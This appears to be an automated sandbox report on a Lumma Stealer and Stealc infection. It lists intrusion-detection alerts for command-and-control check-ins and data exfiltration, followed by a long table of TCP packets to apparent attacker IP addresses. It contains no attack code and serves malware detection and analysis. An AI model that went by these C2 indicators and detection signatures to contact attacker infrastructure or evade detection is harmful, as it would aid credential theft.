2024-12-23T07:15:42.812601+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49706	104.21.66.86	443	TCP
2024-12-23T07:15:42.812601+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49706	104.21.66.86	443	TCP
2024-12-23T07:15:44.404778+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49707	104.21.66.86	443	TCP
2024-12-23T07:15:46.584560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-23T07:15:48.900987+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49711	104.21.66.86	443	TCP
2024-12-23T07:15:51.824104+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49714	104.21.66.86	443	TCP
2024-12-23T07:15:52.894856+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49714	104.21.66.86	443	TCP
2024-12-23T07:15:54.556785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49727	104.21.66.86	443	TCP
2024-12-23T07:15:54.569045+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.5	49727	104.21.66.86	443	TCP
2024-12-23T07:15:58.223214+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49733	104.21.66.86	443	TCP
2024-12-23T07:15:58.998618+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49733	104.21.66.86	443	TCP
2024-12-23T07:16:00.465374+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.5	49739	185.215.113.16	80	TCP
2024-12-23T07:16:14.292092+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49771	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 07:15:35.980731010 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:35.980788946 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:35.980976105 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:35.982575893 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:35.982593060 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:37.377635956 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:37.377799988 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:37.382350922 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:37.382364035 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:37.382703066 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:37.425487995 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:37.438785076 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:37.483339071 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.244801044 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.244822979 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.244942904 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.244950056 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.244990110 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.245014906 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.245022058 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.245028019 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.245080948 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.336595058 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.336661100 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.336688995 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.336740017 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.378822088 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.378853083 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.378889084 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.378916979 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.378925085 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.378963947 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.380460024 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.380481958 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.380500078 CET	49704	443	192.168.2.5	23.55.153.106
Dec 23, 2024 07:15:38.380506039 CET	443	49704	23.55.153.106	192.168.2.5
Dec 23, 2024 07:15:38.529119015 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:38.529196978 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:38.529269934 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:38.529669046 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:38.529695988 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:39.747720003 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:39.747895956 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:39.751029015 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:39.751056910 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:39.751434088 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:39.752881050 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:39.752928972 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:39.752998114 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:40.499012947 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:40.499113083 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:40.499187946 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:40.499773979 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:40.499830008 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:40.499847889 CET	49705	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:40.499864101 CET	443	49705	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:40.532641888 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:40.532686949 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:40.532766104 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:40.533085108 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:40.533097982 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:41.755039930 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:41.755196095 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:41.756702900 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:41.756719112 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:41.756962061 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:41.758093119 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:41.758107901 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:41.758158922 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.812606096 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.812658072 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.812683105 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.812711000 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.812725067 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.812736988 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.812757969 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.820545912 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.820607901 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.820631027 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.829087973 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.829153061 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.829180956 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.837512016 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.837587118 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.837594032 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.878602982 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.932249069 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:42.972337008 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:42.972352982 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.008076906 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.008111000 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.008128881 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.008141994 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.008181095 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.008188009 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.008217096 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.008280993 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.010725021 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.010744095 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.010782957 CET	49706	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.010790110 CET	443	49706	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.191981077 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.192034960 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:43.192125082 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.192470074 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:43.192482948 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:44.404608011 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:44.404778004 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:44.406266928 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:44.406281948 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:44.406657934 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:44.408500910 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:44.408651114 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:44.408678055 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:45.282893896 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:45.282999992 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:45.283181906 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:45.283596039 CET	49707	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:45.283617973 CET	443	49707	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:45.371007919 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:45.371067047 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:45.371136904 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:45.371521950 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:45.371532917 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:46.584494114 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:46.584559917 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:46.586477041 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:46.586488962 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:46.586817980 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:46.588298082 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:46.588438988 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:46.588469028 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:46.588509083 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:46.631330013 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:47.443624020 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:47.443717957 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:47.443788052 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:47.444051981 CET	49708	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:47.444070101 CET	443	49708	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:47.689320087 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:47.689378977 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:47.689461946 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:47.689814091 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:47.689826012 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:48.900904894 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:48.900986910 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:48.902874947 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:48.902884960 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:48.903124094 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:48.904617071 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:48.904794931 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:48.904827118 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:48.904911041 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:48.904920101 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:49.852375984 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:49.852480888 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:49.852549076 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:49.852694988 CET	49711	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:49.852718115 CET	443	49711	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:50.608191967 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:50.608232021 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:50.608324051 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:50.609019995 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:50.609039068 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:51.824009895 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:51.824104071 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:51.826040030 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:51.826072931 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:51.826417923 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:51.837723970 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:51.837790966 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:51.837805986 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:52.894874096 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:52.894995928 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:52.895116091 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:52.895324945 CET	49714	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:52.895348072 CET	443	49714	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:53.341053009 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:53.341114998 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:53.341290951 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:53.341626883 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:53.341639996 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.556696892 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.556785107 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.558216095 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.558228970 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.558577061 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.567753077 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.568497896 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.568532944 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.568732023 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.568770885 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.568876028 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.568909883 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.568934917 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.569104910 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.569155931 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.569288969 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.569322109 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.569467068 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.569490910 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.569504976 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.569616079 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.569653034 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.611337900 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.613718987 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.613765955 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.613780022 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.655332088 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.655575037 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.655623913 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.655643940 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.699330091 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.699554920 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:54.743323088 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:54.930468082 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:56.990536928 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:56.990659952 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:56.990719080 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:56.991200924 CET	49727	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:56.991219044 CET	443	49727	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:57.009309053 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:57.009357929 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:57.009450912 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:57.009829998 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:57.009843111 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.223145008 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.223213911 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.224715948 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.224730015 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.224951029 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.231359005 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.231395960 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.231431961 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.998632908 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.998739958 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.998816967 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.999121904 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.999142885 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:58.999159098 CET	49733	443	192.168.2.5	104.21.66.86
Dec 23, 2024 07:15:58.999165058 CET	443	49733	104.21.66.86	192.168.2.5
Dec 23, 2024 07:15:59.003179073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:15:59.122751951 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:15:59.122934103 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:15:59.123135090 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:15:59.242892027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465074062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465121984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465135098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465372086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465373993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.465418100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.465432882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465445995 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465457916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465470076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.465487957 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.465502977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.466166019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.466180086 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.466239929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.585235119 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.585254908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.585306883 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.657352924 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.657367945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.657464027 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.661358118 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.661437035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.661606073 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.669853926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.669876099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.669946909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.678263903 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.678375006 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.678458929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.686587095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.686705112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.686765909 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.694962025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.695031881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.695086002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.703393936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.703424931 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.703494072 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.711771011 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.711843967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.711899042 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.720175028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.720280886 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.720367908 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.728562117 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.728627920 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.728691101 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.736938953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.737054110 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.737122059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.777046919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.831836939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.849586964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.849703074 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.849786043 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.852052927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.852181911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.852248907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.857050896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.857197046 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.857271910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.862092018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.862178087 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.862248898 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.867156982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.867788076 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.867866039 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:00.872010946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:00.872095108 CET	80	49739	185.215.113.16	192.168.2.5
